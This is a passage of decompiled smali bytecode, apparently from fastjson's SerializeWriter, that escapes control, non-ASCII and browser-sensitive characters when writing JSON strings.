                                                111const/16 v4, 0x9
                                                112if-eq v3, v4, :cond_118
                                                113if-eq v3, v12, :cond_118
                                                114if-eq v3, v7, :cond_118
                                                115if-ne v3, v13, :cond_c0
                                                116goto/16 :goto_118
                                                117cond_c0: const/16 v4, 0x20
                                                118if-ge v3, v4, :cond_e3
                                                120invoke-virtual {v0, v13}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                122invoke-virtual {v0, v9}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                124invoke-virtual {v0, v8}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                126invoke-virtual {v0, v8}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                128sget-object v4, Lcom/alibaba/fastjson/util/IOUtils;->ASCII_CHARS:[C
                                                129mul-int/lit8 v3, v3, 0x2
                                                130aget-char v4, v4, v3
                                                132invoke-virtual {v0, v4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                134sget-object v4, Lcom/alibaba/fastjson/util/IOUtils;->ASCII_CHARS:[C
                                                135add-int/2addr v3, v15
                                                136aget-char v3, v4, v3
                                                138invoke-virtual {v0, v3}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                139goto/16 :goto_17a
                                                140cond_e3: const/16 v4, 0x7f
                                                141if-lt v3, v4, :cond_177
                                                143invoke-virtual {v0, v13}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                145invoke-virtual {v0, v9}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                147sget-object v4, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                148ushr-int/lit8 v5, v3, 0xc
                                                149and-int/lit8 v5, v5, 0xf
                                                150aget-char v4, v4, v5
                                                152invoke-virtual {v0, v4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                154sget-object v4, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                155ushr-int/lit8 v5, v3, 0x8
                                                156and-int/lit8 v5, v5, 0xf
                                                157aget-char v4, v4, v5
                                                159invoke-virtual {v0, v4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                161sget-object v4, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                162ushr-int/lit8 v5, v3, 0x4
                                                163and-int/lit8 v5, v5, 0xf
                                                164aget-char v4, v4, v5
                                                166invoke-virtual {v0, v4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                168sget-object v4, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                169and-int/lit8 v3, v3, 0xf
                                                170aget-char v3, v4, v3
                                                172invoke-virtual {v0, v3}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                173goto/16 :goto_17a
                                                174cond_118:
                                                175invoke-virtual {v0, v13}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                177sget-object v4, Lcom/alibaba/fastjson/util/IOUtils;->replaceChars:[C
                                                178aget-char v3, v4, v3
                                                180invoke-virtual {v0, v3}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                181goto/16 :goto_17a
                                                182cond_123:
                                                183sget-object v4, Lcom/alibaba/fastjson/util/IOUtils;->specicalFlags_doubleQuotes:[B
                                                184array-length v4, v4
                                                185if-ge v3, v4, :cond_12e
                                                187sget-object v4, Lcom/alibaba/fastjson/util/IOUtils;->specicalFlags_doubleQuotes:[B
                                                188aget-byte v4, v4, v3
                                                189if-nez v4, :cond_138
                                                190cond_12e: if-ne v3, v7, :cond_177
                                                192sget-object v4, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteSlashAsSpecial:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                194invoke-virtual {v0, v4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(Lcom/alibaba/fastjson/serializer/SerializerFeature;)Z
                                                195move-result v4
                                                196if-eqz v4, :cond_177
                                                197cond_138:
                                                198invoke-virtual {v0, v13}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                200sget-object v4, Lcom/alibaba/fastjson/util/IOUtils;->specicalFlags_doubleQuotes:[B
                                                201aget-byte v4, v4, v3
                                                202if-ne v4, v14, :cond_16f
                                                204invoke-virtual {v0, v9}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                206sget-object v4, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                207ushr-int/lit8 v5, v3, 0xc
                                                208and-int/lit8 v5, v5, 0xf
                                                209aget-char v4, v4, v5
                                                211invoke-virtual {v0, v4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                213sget-object v4, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                214ushr-int/lit8 v5, v3, 0x8
                                                215and-int/lit8 v5, v5, 0xf
                                                216aget-char v4, v4, v5
                                                218invoke-virtual {v0, v4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                220sget-object v4, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                221ushr-int/lit8 v5, v3, 0x4
                                                222and-int/lit8 v5, v5, 0xf
                                                223aget-char v4, v4, v5
                                                225invoke-virtual {v0, v4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                227sget-object v4, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                228and-int/lit8 v3, v3, 0xf
                                                229aget-char v3, v4, v3
                                                231invoke-virtual {v0, v3}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                232goto/16 :goto_17a
                                                233cond_16f:
                                                234sget-object v4, Lcom/alibaba/fastjson/util/IOUtils;->replaceChars:[C
                                                235aget-char v3, v4, v3
                                                237invoke-virtual {v0, v3}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                238goto/16 :goto_17a
                                                239cond_177:
                                                240invoke-virtual {v0, v3}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                241goto_17a: add-int/lit8 v6, v6, 0x1
                                                242goto/16 :goto_3b
                                                243cond_17e:
                                                244invoke-virtual {v0, v12}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                245if-eqz v2, :cond_186
                                                247invoke-virtual {v0, v2}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                248cond_186: return-void
                                                249cond_187:
                                                250invoke-virtual {v0, v4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->expandCapacity(I)V
                                                251cond_18a: iget v5, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->count:I
                                                252add-int/lit8 v14, v5, 0x1
                                                253add-int v10, v14, v3
                                                255iget-object v11, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                256aput-char v12, v11, v5
                                                258invoke-virtual {v1, v6, v3, v11, v14}, Ljava/lang/String;->getChars(II[CI)V
                                                259iput v4, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->count:I
                                                261sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->BrowserSecure:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                263invoke-virtual {v0, v3}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(Lcom/alibaba/fastjson/serializer/SerializerFeature;)Z
                                                264move-result v3
                                                265const/4 v5, -0x1
                                                266if-eqz v3, :cond_264
                                                267move v1, v14
                                                268goto_1a3: if-ge v1, v10, :cond_1d1
                                                270iget-object v3, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                271aget-char v3, v3, v1
                                                272if-lt v3, v8, :cond_1af
                                                273const/16 v6, 0x39
                                                274if-le v3, v6, :cond_1ce
                                                275cond_1af: const/16 v6, 0x61
                                                276if-lt v3, v6, :cond_1b7
                                                277const/16 v6, 0x7a
                                                278if-le v3, v6, :cond_1ce
                                                279cond_1b7: const/16 v6, 0x41
                                                280if-lt v3, v6, :cond_1bf
                                                281const/16 v6, 0x5a
                                                282if-le v3, v6, :cond_1ce
                                                283cond_1bf: const/16 v6, 0x2c
                                                284if-eq v3, v6, :cond_1ce
                                                285const/16 v6, 0x2e
                                                286if-eq v3, v6, :cond_1ce
                                                287const/16 v6, 0x5f
                                                288if-eq v3, v6, :cond_1ce
                                                289add-int/lit8 v4, v4, 0x5
                                                290move v5, v1
                                                291cond_1ce: add-int/lit8 v1, v1, 0x1
                                                292goto/16 :goto_1a3
                                                293cond_1d1:
                                                294iget-object v1, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                295array-length v1, v1
                                                296if-le v4, v1, :cond_1d9
                                                298invoke-virtual {v0, v4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->expandCapacity(I)V
                                                299cond_1d9: iput v4, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->count:I
                                                300goto_1db: if-lt v5, v14, :cond_24e
                                                302iget-object v1, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                303aget-char v1, v1, v5
                                                304if-lt v1, v8, :cond_1e7
                                                305const/16 v3, 0x39
                                                306if-le v1, v3, :cond_24b
                                                307cond_1e7: const/16 v3, 0x61
                                                308if-lt v1, v3, :cond_1ef
                                                309const/16 v3, 0x7a
                                                310if-le v1, v3, :cond_24b
                                                311cond_1ef: const/16 v3, 0x41
                                                312if-lt v1, v3, :cond_1f7
                                                313const/16 v3, 0x5a
                                                314if-le v1, v3, :cond_24b
                                                315cond_1f7: const/16 v3, 0x2c
                                                316if-eq v1, v3, :cond_24b
                                                317const/16 v3, 0x2e
                                                318if-eq v1, v3, :cond_24b
                                                319const/16 v3, 0x5f
                                                320if-eq v1, v3, :cond_24b
                                                322iget-object v3, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                323add-int/lit8 v4, v5, 0x1
                                                324add-int/lit8 v6, v5, 0x6
                                                325sub-int v7, v10, v5
                                                326sub-int/2addr v7, v15
                                                328invoke-static {v3, v4, v3, v6, v7}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                                                330iget-object v3, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                331aput-char v13, v3, v5
                                                332aput-char v9, v3, v4
                                                333add-int/lit8 v4, v5, 0x2
                                                335sget-object v6, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                336ushr-int/lit8 v7, v1, 0xc
                                                337and-int/lit8 v7, v7, 0xf
                                                338aget-char v6, v6, v7
                                                339aput-char v6, v3, v4
                                                341iget-object v3, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                342add-int/lit8 v4, v5, 0x3
                                                344sget-object v6, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                345ushr-int/lit8 v7, v1, 0x8
                                                346and-int/lit8 v7, v7, 0xf
                                                347aget-char v6, v6, v7
                                                348aput-char v6, v3, v4
                                                350iget-object v3, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                351add-int/lit8 v4, v5, 0x4
                                                353sget-object v6, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                354ushr-int/lit8 v7, v1, 0x4
                                                355and-int/lit8 v7, v7, 0xf
                                                356aget-char v6, v6, v7
                                                357aput-char v6, v3, v4
                                                359iget-object v3, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                360add-int/lit8 v4, v5, 0x5
                                                362sget-object v6, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                363and-int/lit8 v1, v1, 0xf
                                                364aget-char v1, v6, v1
                                                365aput-char v1, v3, v4
                                                366add-int/lit8 v10, v10, 0x5
                                                367cond_24b: add-int/lit8 v5, v5, -0x1
                                                368goto/16 :goto_1db
                                                369cond_24e: if-eqz v2, :cond_25c
                                                371iget-object v1, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                372iget v3, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->count:I
                                                373add-int/lit8 v4, v3, -0x2
                                                374aput-char v12, v1, v4
                                                375sub-int/2addr v3, v15
                                                376aput-char v2, v1, v3
                                                377goto/16 :goto_263
                                                378cond_25c:
                                                379iget-object v1, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                380iget v2, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->count:I
                                                381sub-int/2addr v2, v15
                                                382aput-char v12, v1, v2
                                                383goto_263: return-void
                                                384cond_264:
                                                385sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->BrowserCompatible:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                387invoke-virtual {v0, v3}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(Lcom/alibaba/fastjson/serializer/SerializerFeature;)Z
                                                388move-result v3
                                                389if-eqz v3, :cond_392
                                                390move v1, v14
                                                391goto_26d: if-ge v1, v10, :cond_2a1
                                                393iget-object v3, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                394aget-char v3, v3, v1
                                                395if-eq v3, v12, :cond_29b
                                                396if-eq v3, v7, :cond_29b
                                                397if-ne v3, v13, :cond_27a
                                                398goto/16 :goto_29b
                                                399cond_27a: const/16 v6, 0x8
                                                400if-eq v3, v6, :cond_29b
                                                401const/16 v6, 0xc
                                                402if-eq v3, v6, :cond_29b
                                                403const/16 v6, 0xa
                                                404if-eq v3, v6, :cond_29b
                                                405const/16 v6, 0xd
                                                406if-eq v3, v6, :cond_29b
                                                407const/16 v6, 0x9
                                                408if-ne v3, v6, :cond_28f
                                                409goto/16 :goto_29b
                                                410cond_28f: const/16 v6, 0x20
                                                411if-ge v3, v6, :cond_296
                                                412goto_293: add-int/lit8 v4, v4, 0x5
                                                413goto/16 :goto_29d
                                                414cond_296: const/16 v6, 0x7f
                                                415if-lt v3, v6, :cond_29e
                                                416goto/16 :goto_293
                                                417goto_29b: add-int/lit8 v4, v4, 0x1
                                                418goto_29d: move v5, v1
                                                419cond_29e: add-int/lit8 v1, v1, 0x1
                                                420goto/16 :goto_26d
                                                421cond_2a1:
                                                422iget-object v1, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                423array-length v1, v1
                                                424if-le v4, v1, :cond_2a9
                                                426invoke-virtual {v0, v4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->expandCapacity(I)V
                                                427cond_2a9: iput v4, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->count:I
                                                428goto_2ab: if-lt v5, v14, :cond_37c
                                                430iget-object v1, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                431aget-char v3, v1, v5
                                                432const/16 v4, 0x8
                                                433if-eq v3, v4, :cond_360
                                                434const/16 v6, 0xc
                                                435if-eq v3, v6, :cond_360
                                                436const/16 v11, 0xa
                                                437if-eq v3, v11, :cond_360
                                                438const/16 v11, 0xd
                                                439if-eq v3, v11, :cond_360
                                                440const/16 v11, 0x9
                                                441if-ne v3, v11, :cond_2c7
                                                442goto/16 :goto_360
                                                443cond_2c7: if-eq v3, v12, :cond_34d
                                                444if-eq v3, v7, :cond_34d
                                                445if-ne v3, v13, :cond_2cf
                                                446goto/16 :goto_34d
                                                447cond_2cf: const/16 v11, 0x20
                                                448if-ge v3, v11, :cond_304
                                                449add-int/lit8 v11, v5, 0x1
                                                450add-int/lit8 v4, v5, 0x6
                                                451sub-int v16, v10, v5
                                                452add-int/lit8 v6, v16, -0x1
                                                454invoke-static {v1, v11, v1, v4, v6}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                                                456iget-object v1, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                457aput-char v13, v1, v5
                                                458aput-char v9, v1, v11
                                                459add-int/lit8 v4, v5, 0x2
                                                460aput-char v8, v1, v4
                                                461add-int/lit8 v4, v5, 0x3
                                                462aput-char v8, v1, v4
                                                463add-int/lit8 v4, v5, 0x4
                                                465sget-object v6, Lcom/alibaba/fastjson/util/IOUtils;->ASCII_CHARS:[C
                                                466mul-int/lit8 v3, v3, 0x2
                                                467aget-char v6, v6, v3
                                                468aput-char v6, v1, v4
                                                470iget-object v1, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                471add-int/lit8 v4, v5, 0x5
                                                473sget-object v6, Lcom/alibaba/fastjson/util/IOUtils;->ASCII_CHARS:[C
                                                474add-int/2addr v3, v15
                                                475aget-char v3, v6, v3
                                                476aput-char v3, v1, v4
                                                477goto_301: add-int/lit8 v10, v10, 0x5
                                                478goto/16 :goto_378
                                                479cond_304: const/16 v4, 0x7f
                                                480if-lt v3, v4, :cond_378
                                                481add-int/lit8 v4, v5, 0x1
                                                482add-int/lit8 v6, v5, 0x6
                                                483sub-int v11, v10, v5
                                                484sub-int/2addr v11, v15
                                                486invoke-static {v1, v4, v1, v6, v11}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                                                488iget-object v1, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                489aput-char v13, v1, v5
                                                490aput-char v9, v1, v4
                                                491add-int/lit8 v4, v5, 0x2
                                                493sget-object v6, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                494ushr-int/lit8 v11, v3, 0xc
                                                495and-int/lit8 v11, v11, 0xf
                                                496aget-char v6, v6, v11
                                                497aput-char v6, v1, v4
                                                499iget-object v1, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                500add-int/lit8 v4, v5, 0x3
                                                502sget-object v6, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                503ushr-int/lit8 v11, v3, 0x8
                                                504and-int/lit8 v11, v11, 0xf
                                                505aget-char v6, v6, v11
                                                506aput-char v6, v1, v4
                                                508iget-object v1, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                509add-int/lit8 v4, v5, 0x4
                                                511sget-object v6, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                512ushr-int/lit8 v11, v3, 0x4
                                                513and-int/lit8 v11, v11, 0xf
                                                514aget-char v6, v6, v11
                                                515aput-char v6, v1, v4
                                                517iget-object v1, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                518add-int/lit8 v4, v5, 0x5
                                                520sget-object v6, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                521and-int/lit8 v3, v3, 0xf
                                                522aget-char v3, v6, v3
                                                523aput-char v3, v1, v4
                                                524goto/16 :goto_301
                                                525goto_34d:
                                                526iget-object v1, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                527add-int/lit8 v4, v5, 0x1
                                                528add-int/lit8 v6, v5, 0x2
                                                529sub-int v11, v10, v5
                                                530sub-int/2addr v11, v15
                                                532invoke-static {v1, v4, v1, v6, v11}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                                                534iget-object v1, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                535aput-char v13, v1, v5
                                                536aput-char v3, v1, v4
                                                537goto/16 :goto_376
                                                538goto_360:
                                                539iget-object v1, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                540add-int/lit8 v4, v5, 0x1
                                                541add-int/lit8 v6, v5, 0x2
                                                542sub-int v11, v10, v5
                                                543sub-int/2addr v11, v15
                                                545invoke-static {v1, v4, v1, v6, v11}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                                                547iget-object v1, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                548aput-char v13, v1, v5
                                                550sget-object v6, Lcom/alibaba/fastjson/util/IOUtils;->replaceChars:[C
                                                551aget-char v3, v6, v3
                                                552aput-char v3, v1, v4
                                                553goto_376: add-int/lit8 v10, v10, 0x1
                                                554cond_378: add-int/lit8 v5, v5, -0x1
                                                555goto/16 :goto_2ab
                                                556cond_37c: if-eqz v2, :cond_38a
                                                558iget-object v1, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                559iget v3, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->count:I
                                                560add-int/lit8 v4, v3, -0x2
                                                561aput-char v12, v1, v4
                                                562sub-int/2addr v3, v15
                                                563aput-char v2, v1, v3
                                                564goto/16 :goto_391
                                                565cond_38a:
                                                566iget-object v1, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                567iget v2, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->count:I
                                                568sub-int/2addr v2, v15
                                                569aput-char v12, v1, v2
                                                570goto_391: return-void
                                                571cond_392: move v3, v14
                                                572const/4 v11, -0x1
                                                573const/4 v12, 0x0
                                                574const/16 v17, -0x1
                                                575goto_397: if-ge v3, v10, :cond_3e5
                                                577iget-object v7, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                578aget-char v7, v7, v3
                                                579const/16 v8, 0x2028
                                                580if-ne v7, v8, :cond_3af
                                                581add-int/lit8 v6, v6, 0x1
                                                582add-int/lit8 v4, v4, 0x4
                                                583if-ne v11, v5, :cond_3ab
                                                584goto_3a7: move v11, v3
                                                585move/from16 v17, v11
                                                586goto/16 :goto_3ad
                                                587cond_3ab: move/from16 v17, v3
                                                588goto_3ad: move v12, v7
                                                589goto/16 :goto_3de
                                                590cond_3af: const/16 v8, 0x5d
                                                591if-lt v7, v8, :cond_3c3
                                                592const/16 v8, 0x7f
                                                593if-lt v7, v8, :cond_3de
                                                594const/16 v8, 0xa0
                                                595if-ge v7, v8, :cond_3de
                                                596if-ne v11, v5, :cond_3be
                                                597move v11, v3
                                                598cond_3be: add-int/lit8 v6, v6, 0x1
                                                599add-int/lit8 v4, v4, 0x4
                                                600goto/16 :goto_3ab
                                                601cond_3c3: iget v8, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->features:I
                                                603invoke-static {v7, v8}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isSpecial(CI)Z
                                                604move-result v8
                                                605if-eqz v8, :cond_3de
                                                606add-int/lit8 v6, v6, 0x1
                                                608sget-object v8, Lcom/alibaba/fastjson/util/IOUtils;->specicalFlags_doubleQuotes:[B
                                                609array-length v8, v8
                                                610if-ge v7, v8, :cond_3db
                                                612sget-object v8, Lcom/alibaba/fastjson/util/IOUtils;->specicalFlags_doubleQuotes:[B
                                                613aget-byte v8, v8, v7
                                                614const/4 v12, 0x4
                                                615if-ne v8, v12, :cond_3db
                                                616add-int/lit8 v4, v4, 0x4
                                                617cond_3db: if-ne v11, v5, :cond_3ab
                                                618goto/16 :goto_3a7
                                                619goto_3de: add-int/lit8 v3, v3, 0x1
                                                620const/16 v7, 0x2f
                                                621const/16 v8, 0x30
                                                622goto/16 :goto_397
                                                623cond_3e5: if-lez v6, :cond_558
                                                624add-int/2addr v4, v6
                                                626iget-object v3, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                627array-length v3, v3
                                                628if-le v4, v3, :cond_3f0
                                                630invoke-virtual {v0, v4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->expandCapacity(I)V
                                                631cond_3f0: iput v4, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->count:I
                                                632if-ne v6, v15, :cond_48c
                                                633const/16 v1, 0x2028
                                                634if-ne v12, v1, :cond_420
                                                635add-int/lit8 v1, v17, 0x1
                                                636add-int/lit8 v3, v17, 0x6
                                                637sub-int v10, v10, v17
                                                638sub-int/2addr v10, v15
                                                640iget-object v4, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                642invoke-static {v4, v1, v4, v3, v10}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                                                644iget-object v3, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                645aput-char v13, v3, v17
                                                646aput-char v9, v3, v1
                                                647add-int/2addr v1, v15
                                                648const/16 v4, 0x32
                                                649aput-char v4, v3, v1
                                                650add-int/2addr v1, v15
                                                651const/16 v4, 0x30
                                                652aput-char v4, v3, v1
                                                653add-int/2addr v1, v15
                                                654const/16 v4, 0x32
                                                655aput-char v4, v3, v1
                                                656add-int/2addr v1, v15
                                                657const/16 v4, 0x38
                                                658aput-char v4, v3, v1
                                                659goto/16 :goto_558
                                                660cond_420:
                                                661sget-object v1, Lcom/alibaba/fastjson/util/IOUtils;->specicalFlags_doubleQuotes:[B
                                                662array-length v1, v1
                                                663if-ge v12, v1, :cond_474
                                                665sget-object v1, Lcom/alibaba/fastjson/util/IOUtils;->specicalFlags_doubleQuotes:[B
                                                666aget-byte v1, v1, v12
                                                667const/4 v3, 0x4
                                                668if-ne v1, v3, :cond_474
                                                669add-int/lit8 v1, v17, 0x1
                                                670add-int/lit8 v3, v17, 0x6
                                                671sub-int v10, v10, v17
                                                672sub-int/2addr v10, v15
                                                674iget-object v4, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                676invoke-static {v4, v1, v4, v3, v10}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                                                678iget-object v3, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                679aput-char v13, v3, v17
                                                680add-int/lit8 v4, v1, 0x1
                                                681aput-char v9, v3, v1
                                                682add-int/lit8 v1, v4, 0x1
                                                684sget-object v5, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                685ushr-int/lit8 v6, v12, 0xc
                                                686and-int/lit8 v6, v6, 0xf
                                                687aget-char v5, v5, v6
                                                688aput-char v5, v3, v4
                                                690iget-object v3, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                691add-int/lit8 v4, v1, 0x1
                                                693sget-object v5, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                694ushr-int/lit8 v6, v12, 0x8
                                                695and-int/lit8 v6, v6, 0xf
                                                696aget-char v5, v5, v6
                                                697aput-char v5, v3, v1
                                                699iget-object v1, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                700add-int/lit8 v3, v4, 0x1
                                                702sget-object v5, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                703ushr-int/lit8 v6, v12, 0x4
                                                704and-int/lit8 v6, v6, 0xf
                                                705aget-char v5, v5, v6
                                                706aput-char v5, v1, v4
                                                708iget-object v1, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                710sget-object v4, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                711and-int/lit8 v5, v12, 0xf
                                                712aget-char v4, v4, v5
                                                713aput-char v4, v1, v3
                                                714goto/16 :goto_558
                                                715cond_474: add-int/lit8 v1, v17, 0x1
                                                716add-int/lit8 v3, v17, 0x2
                                                717sub-int v10, v10, v17
                                                718sub-int/2addr v10, v15
                                                720iget-object v4, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                722invoke-static {v4, v1, v4, v3, v10}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                                                724iget-object v3, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                725aput-char v13, v3, v17
                                                727sget-object v4, Lcom/alibaba/fastjson/util/IOUtils;->replaceChars:[C
                                                728aget-char v4, v4, v12
                                                729aput-char v4, v3, v1
                                                730goto/16 :goto_558
                                                731cond_48c: if-le v6, v15, :cond_558
                                                732sub-int v3, v11, v14
                                                733goto_490:
                                                734invoke-virtual/range {p1 .. p1}, Ljava/lang/String;->length()I
                                                735move-result v4
                                                736if-ge v3, v4, :cond_558
                                                738invoke-virtual {v1, v3}, Ljava/lang/String;->charAt(I)C
                                                739move-result v4
                                                741sget-object v5, Lcom/alibaba/fastjson/util/IOUtils;->specicalFlags_doubleQuotes:[B
                                                742array-length v5, v5
                                                743if-ge v4, v5, :cond_4a9
                                                745sget-object v5, Lcom/alibaba/fastjson/util/IOUtils;->specicalFlags_doubleQuotes:[B
                                                746aget-byte v5, v5, v4
                                                747if-nez v5, :cond_4a6
                                                748goto/16 :goto_4a9
                                                749cond_4a6: const/16 v5, 0x2f
                                                750goto/16 :goto_4b5
                                                751goto_4a9: const/16 v5, 0x2f
                                                752if-ne v4, v5, :cond_508
                                                754sget-object v6, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteSlashAsSpecial:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                756invoke-virtual {v0, v6}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(Lcom/alibaba/fastjson/serializer/SerializerFeature;)Z
                                                757move-result v6
                                                758if-eqz v6, :cond_508
                                                759goto_4b5:
                                                760iget-object v6, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                761add-int/lit8 v7, v11, 0x1
                                                762aput-char v13, v6, v11
                                                764sget-object v6, Lcom/alibaba/fastjson/util/IOUtils;->specicalFlags_doubleQuotes:[B
                                                765aget-byte v6, v6, v4
                                                766const/4 v8, 0x4
                                                767if-ne v6, v8, :cond_4fd
                                                769iget-object v6, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                770add-int/lit8 v10, v7, 0x1
                                                771aput-char v9, v6, v7
